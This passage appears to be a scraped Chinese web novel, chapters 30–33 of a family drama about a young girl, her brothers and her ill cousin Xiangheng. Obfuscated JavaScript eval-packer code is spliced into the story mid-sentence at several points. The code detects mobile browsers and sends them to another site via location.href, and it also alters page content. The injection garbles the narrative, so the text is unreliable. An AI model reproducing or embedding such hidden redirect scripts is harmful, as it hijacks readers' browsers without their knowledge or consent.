她又被爸爸接力抱了起来,听到爸爸在耳边说:“让小谦多和他们说说话吧,我们走远一些。” 雨不大,呈丝状斜斜地飘在空中。蒋婧伸手去接雨丝,小手一张一合的,溜圆的眼睛专注地瞧着远处的哥哥。 “婧儿,以后我们不在哥哥面前提那个字,好不好?” 虽然来之前已经和她说过,以防她忘记,蒋源又重提了一遍。 蒋婧点点头:“我知道!因为这样哥哥可能会想起伤心的事。不能见到另外一个世界的人,就会伤心,是不是,爸爸?” “是呀,见不到想念的人,就会伤心。” 她脸贴到爸爸的肩膀上,若有所思地侧头看着一边和程与英共撑一把伞走着的蒋向恒,轻声细语地问道:“那向恒哥哥,你也想你的妈妈吗?见不到她,你也会伤心吗?” 突兀的话让蒋向恒乍一下没有做出反应,他沉默着微微低下头,像是在认真思考,微不可察地怅然吐息。 程与英揽住他,拍拍,问道:“你妈妈的墓也在这,我们陪你一起去看看她吧?” 他想说不用,但话到嘴边却又滞停住。 心里霎时间出现了两个互相争斗的小人,一个说去,一个说不去。他跟着四婶走,等真正快要到那块久远印象中的墓碑前时,猛地挣脱了程与英的手。 他往后退了几步,站到了雨幕中,眼睛发着亮,说道:“不去了,我们走吧。我爸爸从来不带我来看的。不看也没事。真的。” 说完,他就仿佛生怕他们要继续劝说和坚持似的,转头就朝蒋怀谦的方向跑去。 程与英“哎”了一声,喊道:“向恒!不去就不去,你跑什么?别淋雨,回来!” 见妻子踩着高跟鞋要追,蒋源心口一跳,惊怕她摔倒,连忙拉住她扶稳,说道:“算了,没事,雨不是很大。” 程与英纳闷地叹了口气,遥望着两个凑在一起的小男孩,眼里流露出疼惜的情感。 “这两个孩子,怪让人心疼的。” 蒋婧攀着爸爸的脖子,好奇地伸手去扒拉妈妈,问道:“为什么?妈妈,我呢?我不让人心疼吗?” 程与英凑近和她贴了贴脸,有些阴云的心情在凝视女儿可爱的面容中散去不少,她缓和着语调说道:“你让人心软和。” 蒋婧不满足妈妈哄小孩的云淡风轻的话,嘟起圆鼓鼓的脸颊,眉头一皱,很是得意地说道:“我知道他们为什么让妈妈心疼,你不要以为我不知道!” “哦?你知道?”蒋源饶有兴趣地问道。 “因为向恒哥哥没有妈妈,是不是?”蒋婧抬头,求表扬一般望着爸爸,又自顾自地继续说着:“我觉得有妈妈是世界上最幸福的事!但是向恒哥哥都没有妈妈,他一定缺点幸福。” “所以你要多关爱向恒哥哥,对不对?” 蒋婧朝爸爸点点头,又说道:“向恒哥哥对我很好,他还住在我们家,我愿意把我的妈妈分给他,让我的妈妈当他的妈妈,这样他就会开心了!” 蒋源差点一口气没上来,他轻拍了下蒋婧柔软的小屁股蛋,含笑又严肃地说道:“我的个乖乖小闺女,这话可不能说。” “为什么呀?” “因为向恒哥哥有爸爸呀。妈妈可以关心照顾他,但是不能当他的妈妈。” “为什么呀?” “因为你的妈妈是我的老婆。” “为什么呀?是你的老婆怎么了,爸爸?” “.......” 她用奶甜奶甜的声音问着难以解释的话题,有种打破砂锅问到底的执著。蒋源无奈地弯唇,最终还是使出了最方便的一招,说道:“不为什么,等你长大了就懂了。” 父女俩的互动,让一边的程与英笑得快岔气了,这让蒋婧更急了。 “为什么呀!”蒋婧不理解地嘟嘟嘴,直把脑袋想破了也想不明白,生气地“哼”了一声:“到底为什么有那么多我不懂的事情嘛!为什么要等长大才能懂?为什么我不能一生下来就什么就懂!” 蒋源被她逗得乐呵一笑,颠颠怀里的小女儿,哄道:“不要急嘛,婧儿宝宝。慢慢长大,慢慢发现世界的奥秘,是一件挺有意思的事情,你不觉得吗?一下子把所有事情都知道了,那不就缺少了些乐趣,你玩‘森林找宝藏’的游戏时,不也是要一点点找到的吗?” 程与英也揉了揉她的脑袋,说道:“就是,妈妈可不想你一下子就长大,一下子什么都懂,你就没有天真快乐的童年了。” 他们的关注与话语像春风,又像海水,给她一种心脏被温柔包裹住的感觉。于是蒋婧又轻而易举地被哄好,乖乖软软地把爸爸妈妈都逐次看了几眼,眼里是满满的依恋。 她点点头:“好吧,那我还是慢慢长大吧。” 结束了对逝亲的探访,蒋源和程与英下午要带着蒋怀谦接着去往苏城,看望他年迈的爷爷。这也是他在世上唯一的血脉亲人了。老人家已经年近八十,腿脚不利索,这些年他们俩一直试图将老人接到北城来照顾,老人却固执地要住在老家的乡下祖宅里,以此度过晚年。 没办法,只能请了护工,聘用好些管家保姆,尽量多帮衬着他生活。逢年过节的,他们就带着蒋怀谦去探望探望。 担心蒋婧受不了舟车劳顿,蒋源和程与英没让她和蒋向恒再跟着,吃完午饭后,他们就启程出发了。 蒋向恒带着妹妹回了房间里,陪她玩了会儿玩具,就哄她睡午觉。 斜风细雨不知道从什么时候转变成了倾盆大雨,室外的雨声哗啦啦的,反而形成了宁静氛围的白噪音。 蒋婧闭着眼,小小一只蜷缩在床的右边,小脸睡得红扑扑的,呼吸浅浅的。 蒋向恒盯着看了快一个小时,还是睡不着,便起身偷偷溜了出来。 他到楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384873|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,望着窗外的雨,突发奇想地给爸爸拨通了一个电话。 传呼声响了一阵,竟然接通了!他其实没有抱着会联络上的想法,此前与爸爸打电话,十有八九会撞上他在忙。 “向恒?什么事?” “爸爸。”他思绪凌乱,原地踱了几步,抬手抹了一把头发,说:“我今天和四叔四婶去墓地了,陪怀谦去看他的爸爸妈妈。我想问问你,下次能带我去看看妈妈吗?” 听筒那边好半天没有传来声响,他为了确认对方还在,提醒地出声:“爸爸?” “嗯。”蒋焰声音中气十足,沉沉地应了一声,话语顿挫之间多了些踌躇的意味。他停顿了几秒,平和地说道:“向恒,我不能带你去看她。我没有做好这个准备,甚至....可能这辈子都无法做好这个准备。” 他握紧了座机的听筒,手掌紧紧抓住沙发扶手,失望地问:“为什么?你为什么从来不带我去见她?” “你可以自己去。” “我不要!我要你和我一起!你不知道,我害怕一个人见她!你为什么不能和我一起去?” 他的嗓音泄露出隐忍的脆弱,引得那方的蒋焰头一次有些错愕。 “向恒,我无法用语言来表达我的感受,有些事情是不能用语言来表达的。不想去看她的原因,我自己也解释不了。” “我只能告诉你,这对我来说是一件很残忍的事情。” 蒋向恒几乎丧失了信心,神情恹恹的。父亲来不及再与他多说什么,像是来了工作,结尾了一句“照顾好自己”,就干脆地挂断了电话。 好在蒋向恒从来不是任由情绪波动的人,他在空旷寂静的大厅坐了一会儿,便冲上楼,抱了自己的足球,从后门冲进雨幕里,跑到了主楼后头百米外的宽大草地上。 在那里,因为他喜欢踢足球,四叔特意划建了一个足球场。 雨水淋湿全身,带来一阵清凉,他畅快地飞奔起来,在球场上恣意踢着球,整个世界只剩下风和雨呼哗的声音,这一刻,他的大脑里什么都没有再想,只是通过释放体力的方式,让自己宣泄情绪。 时间过去了多久,他也没有概念,只知道雨一直在下。管家伯伯抱着蒋婧过来的时候,他才如梦初醒似地停下来,然后再次奔跑过去。 两个佣人阿姨正打着宽大的伞,尽力遮住管家怀里抱着的蒋婧,不让她淋湿一点。 见他跑近,管家连忙说道:“向恒少爷,雨下这么大,你这么还出来踢球。你偷偷溜出来,也不和我说一声,把我吓了一跳,还是婧小姐说从二楼看到你了,我才知道你到这来了。” “抱歉,管家伯伯,我就是想在雨里踢会球儿。我们回去吧。”他见到蒋婧,身体自发反应着就想去抱她,想到自己全身湿透,又克制地收回了手。 “婧婧,我们回去吧。” 蒋婧摇摇头,白净的小脸上眼睛亮晶晶的,兴致勃勃地说道:“我才来呢!向恒哥哥,我也想和你一起在雨里踢足球!” 管家用手帕擦掉溅到她脸上的雨滴,闻言不同意地说道:“不行不行,会生病的,不是说好了,和我一起把哥哥叫回家,就乖乖回玩具房里玩吗?” “可是我想在雨里踢足球,向恒哥哥也踢了,我不可以踢吗?” 管家还想再劝,蒋向恒却已经点点头,说道:“好,那我们回去穿上雨衣,我再带你来踢。” “向恒少爷,这可不成,万一小小姐感冒生病了怎么办?” “没事,我们就玩一小会。” 31.第31章 蒋向恒在门厅口,俯身仔仔细细地给蒋婧穿好雨衣雨靴。 及小腿长度的亮黄色连体雨衣愈加衬得她小小一只。她像一颗会行走的芒果糖,步子小小地转圈踏步,适应穿上雨衣的感觉,左扒拉一下,右掰弄一下,偶尔雪白的脸颊从雨衣连帽里露出来,兴奋快乐的神态里是引人忍不住微笑的天真烂漫。 蒋向恒笑了一下,实在扛不住这样的萌态,上前抱起她,在空中做了一个转圈,感叹地说道:“你怎么出现在哪里都自带可爱滤镜!” 蒋婧:“你先不要抱我,向恒哥哥,我还没有把雨衣穿好!” 蒋向恒抱着她在沙发凳上坐下,就着她坐在自己腿上的姿势,给她把拉链扣到最上头的地方,把雨衣扯顺。 “现在好啦,可以出发了吗?” 蒋婧抿唇鼓起脸颊肉,朝他敬礼,比出OK的手势。 他笑得眼型微微弯起。 草地上,雨花纷扬,蒋婧激动地跑在雨里,专门往浅浅的小水洼里跳,让水洼“嘭”地一声,绽开水花,然后就自己开开心心笑起来,露出几颗珍珠米似的小白牙,嘴角的梨涡甜兮兮的。 蒋向恒扬着唇角跟在她两步之后,耐心地随着她延宕在草地上,不放过每一个踩水坑的机会。 “婧婧,来踢球!” 回到正题,蒋婧不再继续寻找水坑,乐呵呵地,像个行星绕在蒋向恒的前后左右,等待他把球踢给自己。 足球在两人之间轮替转换着,速度温和。蒋向恒听见她银铃一样的笑声,笑声清脆得有种“快乐过载”的充盈,好像这对于她来说,就已经是全世界最开心的事情一般。 他不知不觉被感染,也在奔跑中大笑起来,逗她:“婧婧,球要跑了,我不行了,只能靠你去拦住它了!” 任何看重她的任命都会让她一下子产生非做到不可的使命感。蒋婧小小的身子一动,原地一跳,果然把小手举得高高的,大声喊道:“好好好!我来我来!” 说完,她就使出全身的劲儿,提速快步追着球跑过去,从背后看,那雨衣衣摆像个圆滚滚的灯笼,让她成为如茵绿草里最鲜亮活力的一抹颜色。 跑了一段路,蒋向恒远远看到她往前摔着扑倒在地,吓了一跳,连忙跑过去。然而还没跑到她身边,她又已经快速地站起来,继续卯足了力气,追上球,胜利地抱起它转过来喊道:“向恒哥哥!我拦住了!是我拦住了!” 他望着她甜甜的笑容,嘴角的笑意柔软得不可思议,毫不吝啬地夸赞:“你也太厉害了,婧婧!” 她又把球踢过来,然后喘着气,不知疲惫地快速跑到他前面,招手让他再把球踢给自己:“我在这里!向恒哥哥!你不要踢偏了!” 蒋向恒感觉自己好像在充电,在和她玩乐的过程中,或者叫幸福、或者叫治愈的感受,一点一点,清晰地盈满了整颗心。 “那你可接好了!来了!” * 雨卸力地下了一场,又开始蓄力加大了降水量。 蒋向恒怕她冻着,及时叫停,带着她回去洗了一个热水澡,吹干头发,换上长衣长裤,塞进了暖和的被窝里。 蒋婧头发毛绒绒的,抱着自己的小企鹅玩偶在被子里拱来拱去,说到:“我们现在就要睡觉了吗?” 蒋向恒接了管家让人做的驱寒姜丝甜汤,回到床边一勺一勺地舀了喂她,回到:“不睡。等你身体变得暖暖的,然后我把澡洗好了出来,你就可以下床出去玩了。” 她嫌被喂着喝太慢,咕噜咕噜地,像小猫喝水,就着他递过来的动作一口气喝完了。 “那我就在床上玩,等你洗好澡出来,我们一起去看《黑猫警长》好吗?” 蒋向恒给她擦干净嘴巴,语调轻快地应下:“好,那你等我一下,我很快洗好澡。” 这是他第一次一个人带蒋婧,作为一个哥哥的责任感从没有像今天这样膨胀高昂。蒋向恒洗澡的时候匆匆冲洗几下就飞快结束,生怕蒋婧多等或是没人看着出什么问题。 蒋婧趴在床上翻看着绘本,正话语生动地给自己的小玩偶讲着故事,听到他出来的声音,立马跳了起来,把书复归到原位的架子。 “看动画片!看动画片!看动画片!”她在床上雀跃地跳起自编的舞蹈。 “走着!”蒋向恒张开双臂,等她扑过来,充当着人工宝宝车,带着她下楼到了家庭客厅。 厨师依着蒋婧今天想吃的东西,在营养晚餐之外,还给两个孩子做了想吃的炸鸡炸薯条。蒋向恒直接推着餐车到客厅,陪蒋婧坐在地毯上,一边吃一边看。 蒋婧看动画片就跟夺舍一样,就好像呆着玻璃罩里,心思无法再分给动画片之外的事。 蒋向恒把炸鸡腿塞到她手里,她眼睛盯着大屏幕,呆呆咬了一口后,就一直拿着,没再动过。 他觉得她这样举着个鸡腿的样子格外好笑。用勺子舀了一点菜肴加一点米饭,蒋向恒把递到她嘴边,说道:“请问你还在线吗?麻烦张嘴吃一口饭。” 她目光不移开,张开嘴巴吃了一口饭,模糊不清、心不在焉地回:“在线在线。” * 就着动画片吃完饭,蒋向恒便感到头重脚轻,很是困倦。但他还是陪着蒋婧拼了很久的拼图,没有一丝敷衍或不耐烦的心思。 什么时候睡着的,他没有印象了。只记得再次醒过来时,是被蒋婧晃醒的。 “向恒哥哥,你睡着了吗?” “嗯?没有,我不记得我睡着了。哦,拼到哪了?” 他迷糊地去看地毯上的拼图,惊讶地说道:“你都自己一个人拼完了?” “对啊,我就是这样,一个一个找,然后一个一个放进去试一试,很快就能拼好的。我把你叫醒就是要你看一下我拼好了的。” 蒋向恒手掌抚摸了几下她的脑袋,笑道:“你太棒了!” 蒋婧扬着嘴角,假装不在意地歪歪头,轻哼一声:“那当然啦,我很会拼拼图的。” “向恒哥哥,你想睡觉了吗?” “嗯,我是有一点困了。” 她闻声而动,牵着他到床边,又拉开被子,让他躺上去,压好被子角。 “你还不想睡?” 蒋婧摇摇头,自我感到很有头脑地、翘起尾音说道:“今天妈妈不在家,我要下楼找一个糖吃一吃。” 蒋向恒不知道自己怎么的,一沾床就两只眼皮开始打架,想说点什么制止她,却又昏昏沉沉地睡了过去。 再醒来的时候,床边除了担心地趴着盯看的蒋婧,还有拿着体温计看的管家。 “哦哟,这不得了啊,烧得太厉害了,上医院,上医院!” “多少度啊,管家伯伯,你让我看一下!”蒋婧抢着去看,又看不明白,问道:“39度就是发烧吗?” “这已经很严重了,小婧,你在这陪会哥哥啊,伯伯打电话让司机准备好,我立马带他去医院。” 蒋婧点点头,转过来学着大人的动作,用手背摸了摸蒋向恒,又把自己的额头贴到他的额头上。 “这样是不是你就会好了?” 蒋向恒虚弱地笑了一下,抵着她的额头推开她:“我生病了,你要离我远一点。不然会被传染的。” 她不听,神情忧虑地偎依在他臂膀旁,喃喃地问道:“你是不是很难受,向恒哥哥?” “一点点难受而已。”蒋向恒喉咙嘶哑得紧,不由得避开她的方向轻咳了几声,再转过来时,片刻不离地盯着他看的小人儿,眼里已经噙上了泪花。 “怎么了,怎么还哭了?”他哑着声音,干涩地问道。 蒋婧向下抿着嘴,憋着泪从房间内的茶水吧台上接了一杯水,捧着杯子过来喂他喝水。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392708|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他就着喝掉一整杯水,才觉得干渴的喉咙舒服了些。 把杯子放到床头柜上,蒋婧又趴在床边,握住他的手掌把脸颊贴上去,眼睛湿漉漉地看着他说道:“你要快点好起来,向恒哥哥。如果你生病了不舒服,我也会难受的。” 他的心变得像泡沫一样松软、轻柔起来。 “嗯,没事的,我很快就会好了。” * 管家带领着家政团队,声势浩大地把蒋向恒送到医院去检查。 蒋婧哭闹不停,非要跟着去,全程打起了十二分精神探察着蒋向恒的情况。 抽血的时候,管家挡住了蒋婧的视线没让她看,但她还是透过洁净墙面的反射,依稀看到了针扎进皮肤,红色血液顺着抽血管流动的画面。 蒋向恒捏紧拳头,紧闭着眼,因身体不适而苍白的脸上是勇敢沉静的表情。 她如临大敌,呜咽地哭了起来。 “别哭别哭,婧婧,怎么了?”管家抽出婴儿纸巾给她擦掉眼泪。 “我难受。” 管家急急地问:“哪里难受?” 她指了指心口,说:“这里难受。” “你是不是心疼哥哥了?” 蒋婧眼里泪花泛滥,抿着嘴点点头,崩溃地问道:“向恒哥哥是不是要被抓走了?” 她话的让蒋向恒轻笑了一声,他刻意使自己的语气听起来很精神:“我只是感冒了,不是要死了,婧婧。我之前也感冒过,我知道的,就是这种感觉,后面我就会变好的。” “对,没事的,等抽完血,检查好,医生开了药,我们回家让哥哥那么一吃,好好让他睡一觉,明天醒来就好了!”管家也跟着安抚。 蒋婧点点头,暗暗下定决心,爸爸妈妈和哥哥都不在,自己要照顾好他。 管家让他们到休息室里待着,他去取报告听诊。她走过去,自告奋勇地接过棉签为蒋向恒摁住抽血的针口。 “向恒哥哥,你如果困了,你可以把我的肩膀当枕头。” 蒋向恒满头虚汗,无力地笑了一笑,把她揽进怀里,两个人安静地靠在一起。 等着大人们拿报告、听医嘱、拿药的过程,蒋婧时不时用手去摸蒋向恒的额头,好像这样就能确认他是不是好了一样。 他呼吸很重,一直闭着眼睛休息,看起来很是脆弱疲累。 第一次体味到无助的感觉,蒋婧心里面觉得烦躁不安,害怕得想哭,又努力振作着,打定主意守护哥哥。 “向恒哥哥,”她有一下没一下地拍着他的背,冷不丁地说道:“我给你当妈妈吧。” 蒋向恒“啊?”了一声,费力地睁眼看她,笑着拍了下她的额头。 “你是妹妹,做不了我的妈妈。” 她一本正经:“妹妹也可以做妈妈。” “谁说的?” “我说的。” “你说的不算。” “那我要生气了!” “.....好吧,让你做一天,行了吧?” “那你今天要叫我妹妹妈妈吗?” “.........” 蒋向恒被她弄的哭笑不得,难捱的身体负重的感觉消散了不少,他来了些精神,捏住她的鼻头,也学着她一本正经的腔调说道:“那同理可得,你是不是应该叫我哥哥爸爸。” 蒋婧瞪大了眼睛,思考地皱起眉头,低头绕不清地念叨起童谣:“爸爸的爸爸叫爷爷、爸爸的妈妈叫奶奶、爸爸的哥哥叫伯伯、爸爸的弟弟叫叔叔.....” “没有叫‘哥哥爸爸’的,向恒哥哥。”她苦恼地得出结论,又疑惑地开始数妈妈一边的《家庭礼貌称呼歌》,嘟囔到自问自答:“有没有‘妹妹妈妈’呢?好像也没有。” 蒋向恒闷笑几声,转头捂嘴咳嗽起来,眼睛里因为笑而挤出了些水意。 32.第32章 拿了药回家,管家和一众保姆交替给蒋向恒进行着物理降温,终于在半夜,得到了他体温降到了36.4度的喜人结果。 管家甩了几下温度计,心里的石头总算是放了下来。 床边,蒋婧裹着毛毯圆鼓鼓一团窝在沙发上,瞌睡连天,却强撑着眼皮,像只猫头鹰似的蹲守在哥哥旁边。 她硬拗着不肯走,保姆怕她被传染,特意给她戴上了口罩。巴掌大的脸颊被遮住,只露出一双圆溜溜的眼睛水灵地瞅着人。 管家俯下身,轻声说道:“婧婧,哥哥退热了,你今天晚上回自己房间睡,行不行?” 蒋婧摇摇头:“我不能一个人睡觉。” “让珊珊阿姨陪你睡,怎么样?你不是最喜欢和珊珊阿姨玩吗?” 蒋婧还是摇摇头,声音已经委屈起来:“我想向恒哥哥抱着我睡,想爸爸妈妈还有哥哥抱着我睡。” 管家一时也束手无策起来,继续试图和她讲道理:“哥哥现在生病感染了病菌,会传染的,你呆在这个屋子里,万一也生病了怎么办?到时候谁来照顾向恒哥哥?” “可是、可是我不可以一个人睡......那我今天晚上不睡觉了好不好?” 她态度坚决,再多说几句就要哭起来了,管家只好作罢,把她坐的沙发挪到离床最远的地方,让蒋婧呆在那儿看哥哥。 蒋向恒睡着的呼吸声还是透着不适的状态,蒋婧和管家伯伯一起坐在沙发上守着,抱着玩偶,小脑袋一垂一垂的,很快就支撑不住地睡了过去。 她睡得很不安生,夜半突然醒来,眼前漆黑一片,吓得大脑一片空白,噤若寒蝉地蜷缩成一团,应激似的呼吸急促起来。 听到窸窸窣窣的声音,躺在沙发上守夜的保姆立马打开了落地灯,在房间里晕出一方光亮。 目光所及之处有人有光,就像看到救命稻草,蒋婧坐起来,顾不上穿鞋,就这样光着脚翻下床,仿佛身后有什么可怕的东西张牙舞爪地追着,呜呜咽咽地躲避似的跑过来。 她惊魂未定地抓住保姆的手臂,哭道:“珊珊阿姨,我刚刚好害怕。” “怎么了?做噩梦了?” 蒋婧泪眼模糊地看着她,想解释又不知道怎么说起,话语逻辑混乱地一股脑往外冒:“没有噩梦,不是噩梦,但是可能就是噩梦!我一下子就醒了,我就、我就不知道自己在哪里,我还忘记了我是不是睡着了,咦你知道我向恒哥哥在哪里吗?还有这个灯我都没有见过它亮起来的样子,因为我平时都不在这里睡。但是我刚刚真的好害怕珊珊阿姨,你有没有这样害怕的时候?如果睡觉没有星星灯,你的脑袋里就是黑的,所以要先在脑袋里开一个星星灯,才可以睡觉。” 她说着说着,停下来了哭泣,脸上泪迹斑斑的,眼睛渐渐清明了些,疑惑地发问:“珊珊阿姨,我现在是在做梦吗?” 宋珊噗嗤一笑,抽了纸巾给她把脸擦干净,说道:“你这么多问题,我要先回答哪一个?” “你在哥哥房间里睡着了,我就把你抱回自己的房间里睡了。所以你才不记得之前发生了什么。向恒现在温度又下来了,不过管家伯伯还在盯着呢,你不用担心。现在才凌晨3点钟呢,阿姨现在抱你回床上睡觉,好不好?” 她拨浪鼓似的摇摇头,又因为很困,妥协了一步:“你可以陪我睡吗?我们可以躺在一起,你抱着我睡,好不好?” 宋珊遗憾地挤了挤下巴:“不行哦小宝贝,我就坐在旁边守着你,可不可以?” 蒋婧垂下眼,撇了撇嘴角,须臾又抬起头,振奋地说道:“珊珊阿姨,我决定今天晚上不睡觉了!我要去找向恒哥哥玩!” “这....他喝了药,现在应该已经睡着了。” “那我去看他睡觉,我不吵醒他。真的,爸爸说我很懂分寸的。” * 事态发展成这样,也是管家没想到的。 “婧婧,真的不困?”他第五次出声询问,希望把人哄回房间里睡觉。 蒋婧频繁地眨着眼睛,摇摇头:“不困。” “你不可以把我再抱回床上,如果我等会睡着了,就让我在这里睡着,不可以把我抱走,你答应我,管家伯伯。” 管家推了推鼻梁上的眼镜,应也不是,不应也不是。 尊重他人自主意见是刻在他骨子里的职业道德,哪怕对方只是一个三岁多的小朋友。 好在她个子小巧,完全蜷在沙发上躺下,虽然有些挤兑,但不算逼仄。起码能容纳她休息。 蒋婧又要求他答应自己,管家只好点着头,把她伸出来的手臂又塞回毛毯里,说道:“好好好,我答应你,不把你抱走。” “困了,你就把眼睛闭上,养精蓄锐。” 蒋婧“嗯”了一声,却还是睁着眼睛,甚至小声地哼唱起歌来。 “眼睛瞪得像铜铃~射出闪电般的精明!耳朵竖得像天线~听着一切可疑的声音~~” 管家规矩直挺地坐在一边沙发上,在她的歌声中会心一笑,闭上了眼睛。 就连管家都已经闭着眼进入半梦的状态,她还是无法入睡,即使困意窘迫得捂着嘴巴打了一个又一个哈欠。 因而门外有依稀的声响时,她立马竖起来耳朵,裹着毛毯披风梭下椅子,小跑几个碎步过去,翻上飘窗,瞄到了楼下正从车上下来的爸爸妈妈。 雀跃地扑腾了一下两臂上的披风,蒋婧扭开门,风一样地顺着旋转楼梯跑下楼,老远就开始造势,喊道:“爸爸妈妈!哥哥!我来了!你们终于回来了!” 蒋源惊讶地接住她抱起,捏捏她的鼻头,佯装生气地问道:“这么晚了还不睡觉,是不是又不听管家伯伯的话了?” 蒋婧摇头又点头:“我想等你们一起睡,我就知道你们会回来的,所以我都没有睡。” “你还有未卜先知的能力呢?”程与英说道。 她没明白,打了个哈欠,点头发问:“什么是未卜先知?” 蒋怀谦把她的披风裹住脖颈处,解释道:“意思是,事情还没发生,就知道会发生什么。” “那我可能是未卜先知。” “眼睛都快睁不开了还先知,准是一个人不敢睡。”程与英毫不留情地拆穿她,又拍拍蒋怀谦的背,说道:“太晚了,小谦,你和妹妹先回房间睡觉。我和爸爸去看看向恒。” “好。”蒋怀谦接过妹妹,抱着她回了自己房间。 他用最快的速度梳洗结束出来,看到床上抱着玩偶还不肯闭眼的人,无奈地叹了口气。 “不是让你闭上眼睛等我吗?都困出眼泪了还硬撑。” “我要你抱着我睡才能睡着的,哥哥。” 蒋怀谦把她搂紧怀里,轻轻捋着她的背,低声哄道:“抱住了,不放手的,睡吧宝宝。” 熟悉的床,熟悉的人,熟悉的星星小夜灯,精神绷紧一晚上的蒋婧总算是放松下来,安然地呼呼入睡。 * 病毒性感冒带来的反反复复发热,让蒋向恒连续两日都只能在家卧床休息。 到了第三日,病情进入最焦灼的观察等待期。虽然已经得到了医生说坚持休息几天就能自愈的诊言,蒋源和程与英还是日日提着心照看着,并及时知会了蒋焰。 查看到手机消息时,蒋焰刚从演训场视察回来。负手思索了许久,他最终令机要参谋向战区机关提交了审批严格的书面休假申请,从湘南匆忙赶了回来。 他风尘仆仆地落脚秋水庄园,恰好撞上接了两个孩子放学归来的蒋源,蒋源惊讶:“二哥,你怎么突然回来了?” “话不多说,先带我去看看向恒。”蒋焰大步流星的步子停都未停,摆摆手的动作急切中又自有一副从容不迫的气度。 蒋源把两个孩子的书包拎给保姆,招呼他们道:“小谦,带妹妹去洗手,玩会下来吃饭。我先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429136|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去向恒那屋看看,你们就别过来了。” “好的,爸爸。” * 蒋向恒病得很厉害,发着高烧,难受的重浊的呼吸声在房间里清晰可闻。 听到儿子生病和亲眼看到他不舒服,全然是两回事儿。蒋焰心里不是滋味,沉着脸探察了一番他的状况,很是忧心地重重一个吐气。 “二哥,喝口热茶缓缓。医生说了没有大碍,让他吃了药,好好养几天,烧退下来就没事了。” 蒋焰颔首,紧锁的眉头仍然没有缓和。 “劳烦你和弟妹多费心了。” “这话就不用说了,都是自家人,哪来的费心不费心的。” “我勤务官的联系方式你知道,有任何需要的地方,我失联的时候就找他。” “知道了,二哥,你已经嘱咐过很多遍了。你就放心吧,向恒在我这,不会出一点问题。” 蒋焰给儿子严严实实地掖好每一个被角,抬腕看表,压低声音说道:“我不能离开部队太久,现在就得走了。” “四弟,多谢了。” 蒋源摁住二哥搭上自己肩膀的手,略感遗憾道:“好不容易回来一趟,不等向恒醒了见一面?” “无碍。等他病愈了,你告知我一声。” “好吧。” 两个人大男人轻手轻脚地走出房间,走下楼梯没多久,身后传来焦急的脚步声。 “我爹!” 蒋焰回头,见他那副模样,立马横眉冷对地训斥道:“生病了跑什么?衣服穿的这么薄,莫是又要再冻上几分多躺个几天才老实?” “你怎么不叫醒我就要走了,要不是我醒的及时,我都不知道你回来了!” 蒋焰接过保姆适时递上来的外套给他床上,看着他些许苍白的脸色,皱眉说道:“你是不是疏于体质锻炼了,看起来这么虚弱。” “我没有,我每天都有做运动训练,只有这几天生病才没有做。等我病好了,我就加练,把这几天没训的补上,到时候你再来检查我,我各方面都一定会比上次有进步!” 蒋焰嘴角紧抿,目光始终牢牢锁在儿子身上,神情仍然严肃,语气却和气了一些:“胡来,大病初愈,更要好好休养。接下来半个月,都可以休息。” 蒋向恒站姿直挺,眼里滚着热泪,依依不舍地说道:“你下一次什么时候回来?” 父亲伟岸高大的身躯背着窗挡住了光,面色晦暗不明,只剩沉默回旋。 “你放心吧,我爹。我没事,这点小病,过几天我就好了,你还回来一趟干啥。李畅叔叔和我说过,你要带领很多人保家卫国,离开岗位是很难的。我不想你辛苦,坐飞机也很累的。” 蒋焰的手在身侧攥成了拳,他无言以对,带着操练般的节奏,利落地把他狠狠往怀里一搂。 “儿子,爹对不住你。在四叔家好好的,他们也是你最亲的家人。” 蒋向恒在眼泪要掉落之前就笑着潇洒擦掉,点头说道:“我知道啊,我一直没把自己当外人。” 站在他身旁的蒋源笑着抹了把他的脑袋,说道:“好了,和你爹说再见吧,别耽误他回程。” “嗯。我爹,你也照顾好自己,千万不要生病!” 蒋焰小幅度地点了个头,拍拍他的肩膀,转身快步地离开。 楼上,蒋婧和蒋怀谦趴在楼梯栏杆处把这场景全部纳入眼中。蒋婧双手抓着栏杆一前一后地晃着脚跟,幽幽地说道:“哥哥,我觉得向恒哥哥有点可怜。” 蒋怀谦揽住她的小小肩膀,说道:“可是他的爸爸总会回来。” 她侧头看过来,歪了歪头。 “那我们以后对他更好一些吧。”蒋怀谦捏了一把她的脸说道。 蒋婧抱住哥哥的腰蹭蹭:“我还要对哥哥更好一些。” 他温柔了目光,下巴抵住她毛茸茸的头顶,很轻很轻地“嗯”了一声。 33.第33章 蒋婧近几天一直在苦恼一件事。 周一那天,在妈妈接她放学回家的车程上,她强行扒拉在妈妈的手臂上,听到了大伯母给妈妈打来的电话。 